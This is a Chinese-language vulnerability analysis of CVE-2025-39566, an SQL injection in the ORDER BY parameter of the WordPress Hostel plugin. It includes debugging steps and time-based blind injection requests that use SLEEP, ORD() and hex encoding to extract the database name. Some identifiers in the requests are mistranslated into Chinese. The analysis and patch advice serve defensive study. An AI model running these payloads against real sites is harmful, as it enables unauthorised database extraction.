文章总结: 本文分析WordPressHostel插件CVE-2025-39566SQL注入漏洞。漏洞源于1.1.5.6及以下版本未对GET参数有效过滤,直接拼接至SQL查询。sanitize_text_field无法防御SQL注入,攻击者需管理员权限,通过ORD或十六进制编码绕过引号限制实施盲注。建议升级至1.1.5.7版本,并严格区分不同上下文的输入验证机制。 综合评分: 86 文章分类: 漏洞分析,WEB安全,代码审计,渗透测试,漏洞POC
}}
调试
·有问题的功能位于预订管理器中,因此在管理员界面中导航到 Manage Bookings 子菜单。
·在默认分支之前有一个注释 // list bookings —— 表明此代码处理列出和排序预订。
·打开你的调试器:
o点击 使用调试器运行。
o在包含漏洞代码的 switch 分支以及分配漏洞值的具体行设置断点。
·当你点击预订表中的列标题时,观察:
o调试器步入 switch。
o使用单步跳过到达 default 分支。
o继续单步跳过并检查 Variables > Locals 中的变量。这些变量组合起来形成下面的 SQL 查询。
组合变量后,完整的查询如下所示:
SELECT SQL_CALC_FOUND_ROWS tB.*, tR.title as room FROM wp_hostel_bookings tB JOIN wp_hostel_rooms tR ON tR.id= tB.room_id WHERE is_static=0AND tB.id=… ORDERBY tB.amount_paid ASC|DESC LIMIT…
值得注意的是,$orderby 变量被赋值为:
if(!empty($_GET[‘ob’])) { $orderby=”ORDER BY “.sanitize_text_field($_GET[‘ob’]) .’ ‘.$dir; }
⚠️ 此处的问题:
·ORDER BY 之后的部分使用了 sanitize_text_field()。
·该函数仅清理 HTML,并未验证或过滤输入以确保其在 SQL 上下文中的安全性。
·因此,ob 参数(由用户提供)可能被滥用以直接注入 SQL。
漏洞利用
检测 SQL 注入
使用 BurpSuite 的请求:
GET /wp-管理员/管理员.php?page=wphostel_bookings&type=upcoming&ob=tB.status,(SELECT+SLEEP(10))&dir=ASC HTTP/1.1
我们用逗号分隔 ORDER BY 子句,因为它接受多列值。
结果:响应时间延迟 → SQL注入 成功。
从数据库转储数据
使用 ORD() 绕过 ‘:
要转储数据库数据,我们需要提取字符,例如数据库名称的第一个字符。
由于 sanitize_text_field() 移除了单引号 (‘),我们不能使用依赖 ‘ 的有效载荷。相反,使用 ORD() 来比较字符的 ASCII 码:
GET /wp-管理员/管理员.php?page=wphostel_bookings&type=past&ob=tB.status,(SELECT+IF(ORD(SUBSTRING(数据库(),1,1))=119,SLEEP(5),0))&dir=ASC HTTP/1.1
绕过成功 → 我们可以提取数据库名称。
使用十六进制编码绕过 ‘ (替代方法)
除了 ORD(),我们还可以使用十六进制编码来绕过:
GET /wp-管理员/管理员.php?page=wphostel_bookings&type=past&ob=tB.status,(SELECT+IF(SUBSTRING(数据库(),1,1)=0x77,SLEEP(5),0))&dir=ASC HTTP/1.1
绕过成功 → 数据库名称可以被提取。
结论
WordPress Hostel 插件(1.1.5.7 之前的版本)中的漏洞 CVE-2025-39566 源于将用户提供的输入直接插入 SQL 查询而缺乏足够的防护措施,导致了 SQL注入。
关键要点:
·sanitize_text_field() ≠ 针对 SQL注入 的保护
·清楚地区分针对 HTML 上下文的输入清理和针对 SQL 上下文的验证/清理
参考资料
SQL注入 备忘单 – PortSwigger
WordPress Hostel 插件 <= 1.1.5.6 存在 SQL注入 漏洞 – patchstack
更多实战内容尽在星球:
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:天启攻防实验室 匆匆过客 匆匆过客《CVE-2025-39566 sql注入漏洞》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论